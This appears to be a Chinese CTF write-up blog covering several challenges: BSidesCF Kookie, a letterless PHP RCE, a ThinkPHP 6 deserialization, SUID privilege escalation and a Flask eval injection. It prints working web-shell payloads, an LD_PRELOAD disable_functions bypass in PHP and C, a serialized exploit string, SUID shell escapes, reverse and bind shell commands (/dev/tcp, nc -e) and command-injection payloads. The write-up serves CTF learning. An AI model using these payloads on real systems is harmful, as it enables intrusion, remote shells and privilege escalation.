目录
前言
也是摆烂了一段时间了,今天浅摆一下,做几道题助助兴。
[BSidesCF 2019]Kookie
让我以admin登录,试试admin&admin
不合法,登录框让我想到注入是不太可能了,抓个包吧!
除了cookie没别的提示了,那就只能对cookie下手了,让我以admin登录我就username=admin
拿下,这个题的密码其实是什么都无所谓,只要cookie对了就可以了
[极客大挑战 2019]RCE ME
rce题目,字符串不能大于40而且是无数字字母rce,异或和取反都可以绕过,掏出以前学rce时候的笔记
先说取反吧,看个phpinfo()
?code=(~%8F%97%8F%96%91%99%90)();
要先看看disable_function吧
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,dl
上个马
?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%92%90%9C%97%8A%C8%A2%D6%D6);
<?php
echo urlencode(~'assert');
echo "\n";
echo urlencode(~'(eval($_POST[cmd]))');
?>
然后蚁剑一下
http://e149ff13-b69c-4720-881a-61e8e299705e.node4.buuoj.cn:81/?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9C%92%9B%A2%D6%D6);
果不其然看不了flag
绕disable_funcotion吧
我用蚁剑的插件绕过了,选择模式是PHP7_GC_UAF
然后/readflag
这里是一个小常识,一般这个时候是没有权限来读/flag的,但是出题人会留个有s权限的/readflag给我们用
然后我觉得没有学到什么东西,就去网上找了下WP,原来正解是通过环境变量LD_PRELOAD+mail劫持so来执行系统命令
下面看看吧
LD_PRELOAD 是一个可选的环境变量,包含一个或多个共享库或共享对象的路径,加载器将在包括 C 运行时库 (libc.so) 在内的任何其他共享库之前加载该路径。这称为预加载库。
即LD_PRELOAD
这个环境变量指定路径的文件,会在其他文件被调用前,最先被调用。
LD_PRELOAD
漏洞利用思路如下:利用漏洞控制 web 启动新进程 a.bin(即便进程名无法让我随意指定),a.bin 内部调用系统函数 b(),b() 位于系统共享对象 c.so 中,所以系统为该进程加载共 c.so,我想法在 c.so 前优先加载可控的 c_evil.so,c_evil.so 内含与 b() 同名的恶意函数,由于 c_evil.so 优先级较高,所以,a.bin 将调用到 c_evil.so 内 b() 而非系统的 c.so 内 b(),同时,c_evil.so 可控,达到执行恶意代码的目的。基于这一思路,将突破 disable_functions 限制执行操作系统命令这一目标,大致分解成几步:
-
查看进程调用系统函数明细
-
操作系统环境下劫持系统函数注入代码
-
寻找内部启动新进程的PHP函数
-
PHP环境下劫持系统函数注入代码
找一个具有上传权限的目录,在那个目录下上传两个文件bypass_disablefunc.php和
bypass_disablefunc_x64.so
bypass_disablefunc.php
源码:
<?php
echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";
$cmd = $_GET["cmd"];
$out_path = $_GET["outpath"];
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";
putenv("EVIL_CMDLINE=" . $evil_cmdline); //设置EVIL_CMDLINE环境变量
$so_path = $_GET["sopath"];
putenv("LD_PRELOAD=" . $so_path); //加载恶意动态库
mail("", "", "", ""); //利用mail函数触发恶意函数,跳转至__attribute__ ((__constructor__))修饰的函数。
echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";
unlink($out_path);
?>
其中有一个函数nl2br (PHP 4, PHP 5, PHP 7, PHP 8) nl2br — 在字符串所有新行之前插入 HTML 换行标记,在字符串所有新行之前插入 ‘ ’ 或 ‘ ’,并返回。
bypass_disablefunc_x64.so
源码:
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
extern char** environ; //获取环境变量
__attribute__ ((__constructor__)) void preload (void)
{
const char* cmdline = getenv("EVIL_CMDLINE");
//获取EVIL_CMDLINE的值
int i;
//从环境变量中遍历“LD_PRELOAD”的位置,并将其值设为NULL。
//从而使下面的system()正常执行。
for (i = 0; environ[i]; ++i) {
if (strstr(environ[i], "LD_PRELOAD")) {
environ[i][0] = '\0';
}
}
// 执行命令
system(cmdline);
}
运行命令:
gcc -shared -fPIC bypass.c -o bypass_disablefunc_x64.so
-
fPIC 作用于编译阶段,告诉编译器产生与位置无关代码(Position-Independent Code), 则产生的代码中,没有绝对地址,全部使用相对地址,故而代码可以被加载器加载到内存的任意 位置,都可以正确的执行。这正是共享库所要求的,共享库被加载时,在内存的位置不是固定的
根据上面的思路,我们的payload应该大概是
/?code=assert(include("/var/tmp/bypass_disablefunc.php"));&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/var/tmp/bypass_disablefunc_x64.so
但是考虑到无数字字母,那我们就
取一下反吧!
/?code=${~%A0%B8%BA%AB}[_](${~%A0%B8%BA%AB}[__]);&_=assert&__=include("/var/tmp/bypass_disablefunc.php")&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/var/tmp/bypass_disablefunc_x64.so
异或绕过!
/?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=include("/var/tmp/bypass_disablefunc.php")&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/var/tmp/bypass_disablefunc_x64.so
总结:
绕过disable_function
php_checkin
打开/www.zip下载源码,抱着一丝丝幻想用D盾扫了一下,果不其然没有后门。。
然后readme.md里面说这是个TP6.0框架入口文件为 public/index.php
放入seay审计
在/app/controller/index.php看到反序列化参数是exp,那这个题应该是反序列化了(感觉大多数给了源码的题都是反序列化
因为反序列化的入口一般是destruct()方法,所以我们全局搜索destruct()方法;
POC:
exp=TzozOToiTGVhZ3VlXEZseXN5c3RlbVxDYWNoZWRcU3RvcmFnZVxBZGFwdGVyIjo0OntzOjEwOiIAKgBhZGFwdGVyIjtPOjMwOiJMZWFndWVcRmx5c3lzdGVtXEFkYXB0ZXJcTG9jYWwiOjA6e31zOjc6IgAqAGZpbGUiO3M6OToic2hlbGwucGhwIjtzOjExOiIAKgBhdXRvc2F2ZSI7YjowO3M6ODoiACoAY2FjaGUiO2E6MTp7aTowO3M6MjU6Ijw/cGhwIGV2YWwoJF9QT1NUW2NtZF0pPz4iO319
具体审计在上一篇博客TP6.0反序列化审计。我们执行
蚁剑连上后想看flag发现没有权限,那就要提权了,WP是suid提权
这里学一下suid提权吧
什么是SUID
先说说什么是SUID吧 SUID (Set UID)是Linux中的一种特殊权限,其功能为用户运行某个程序时,如果该程序有SUID权限,那么程序运行为进程时,进程的属主不是发起者,而是程序文件所属的属主。但是SUID权限的设置只针对二进制可执行文件,对于非可执行文件设置SUID没有任何意义.
在执行过程中,调用者会暂时获得该文件的所有者权限,且该权限只在程序执行的过程中有效. 通俗的来讲,假设我们现在有一个可执行文件ls
,其属主为root,当我们通过非root用户登录时,如果ls
设置了SUID权限,我们可在非root用户下运行该二进制可执行文件,在执行文件时,该进程的权限将为root权限.
简单来说就是Linux的万物皆文件背景下,狗(可执行文件)有一个高权限的主人,那低权限的我们就可以通过这个狗(可执行文件)来以主人(高权限)执行命令。利用此特性,我们可通过SUID进行提权
设置SUID
在了解SUID提权以前 我们简单看一下如何设置SUID权限
chmod u+s filename 设置SUID位
chmod u-s filename 去掉SUID设置
ls -al
查看文件权限
网上找到已知的具有SUID权限的二进制可执行文件大体有如下这些:
nmap
vim
find
bash
more
less
nano
cp
awk
但是这个题就是不是这里面的,又学一招嘿嘿嘿
以下命令可以找到系统上运行的所有SUID可执行文件。准确的说,这个命令将从根目录开始查找具有SUID权限且主人是root的文件并输出显示,然后将所有的错误重定向到/dex/null,从而仅列出该用户具有访问权限的那些二进制文件
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;
这里面没有我们常用的,所以我们用WP的data
同理我们再说一下前面提到的几个可执行文件
awk
awk命令进入shell:
awk 'BEGIN {system("/bin/bash")}'
cp
使用cp 命令覆盖原来的/etc/passwd
文件
nano
nano也算是比较上古的文本编辑器了。nano进入shell的方法为:
nano #进入nano编辑器
Ctrl + R
Ctrl + X
#即可输入命令
more和less
more命令进入shell和less相同
more /etc/passwd
#在more中输入:
!/bin/sh
less /etc/passwd
#在less中输入:
!/bin/sh
要注意的是使用more和less一定读取一个比较大的文件,如果文件太小无法进入翻页功能也就无法使用!
命令进入shell
Bash
以下命令将以root身份打开一个bash shell:
bash -p
bash-3.2# id
uid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)
Vim
vim的主要用途是做编辑器,是,如果以SUID运行,它将继承root用户的权限,因此可以读取系统上的所有文件。通过vim进入shell:
vim.tiny
#vim命令
:set shell = '/bin/sh'
:shell
find
find比较常用,find用来在系统中查找文件。同时,它也有执行命令的能力。 因此,如果配置为使用SUID权限运行,则可以通过find执行的命令都将以root身份去运行。
反弹shell:
find anyfile -exec bash -c 'bash -i >& /dev/tcp/127.0.0.1/8888 0>&1' \;
攻击机:
nc -lvvp 4444
正向shell:
find user -exec nc -lvp 4444 -e '/bin/sh' \;
攻击机:
nc 靶机ip 4444
nmap
适用版本:nmap2.02至5.21
在早期nmap版本中,带有交互模式,因而允许用户执行shell命令
使用如下命令进入nmap交互模式:
nmap --interactive
在nmap交互模式中 通过如下命令提权:
nmap> !sh
sh-3.2# whoami
root
msf当中也有利用nmap进行提权的模块
exploit/unix/local/setuid_nmap
flask
这个题有个附件,打开环境看了下附件,是python,然后用插件看了一下网站,确实是python的,看来又是代码审计了
# coding=utf-8
from flask import Flask, render_template, url_for, render_template_string, redirect, request, current_app, session, \
abort, send_from_directory
import random
from urllib import parse
import os
from werkzeug.utils import secure_filename
import time
app = Flask(__name__)
def waf(s):
blacklist = ['import', '(', ')', ' ', '_', ';', '"', '{', '}', '&', 'getattr', 'os', 'system', 'class',
'subclasses', 'mro',
'request', 'args', 'eval', 'if', 'subprocess', 'file', 'open', 'popen', 'builtins', 'compile',
'execfile',
'from_pyfile', 'config', 'local', 'self', 'item', 'getitem', 'getattribute', 'func_globals',
'__init__', 'join', '__dict__']
flag = True
for no in blacklist:
if no.lower() in s.lower():
flag = False
print(no)
break
return flag
@app.route("/")
def index():
return render_template("index.html")
@app.route("/calc", methods=['GET'])
def calc():
ip = request.remote_addr
num = request.values.get("num")
log = "echo {0} {1} {2}> ./log.txt".format(time.strftime("%Y%m%d-%H%M%S", time.localtime()), ip, num)
if waf(num):
try:
data = eval(num)
os.system(log)
f = open('./log.txt', 'r')
log2 = f.read()
data2 = str(data) + str(log2)
except:
pass
return str(data2)
else:
return "waf!!"
if __name__ == "__main__":
app.run(host='0.0.0.0', port=80)
eval执行的内容ban了好多东西,要用os.system(),waf中没有禁用反引号``可以在echo中使用反引号把命令执行结果输出到文件,仔细看发现有./log.txt的权限。但是有一个问题就是一开始想利用的eval不认识反引号,要报错进入excecpt,不会执行下面的os.system(),这时候用到python的注释符#,没有被ban掉!我们可以把反引号注释了,就可以过掉这里。所以payload应该:
num=1#`ls`
我执行发现不行就还得求助WP
原来是浏览器不编码#,只能自己编码,不然会进入except!!!!所以payload现在变成了:
num=1%23%60cat%09/flag%60
拿下!
还有一道题明天发吧,晚安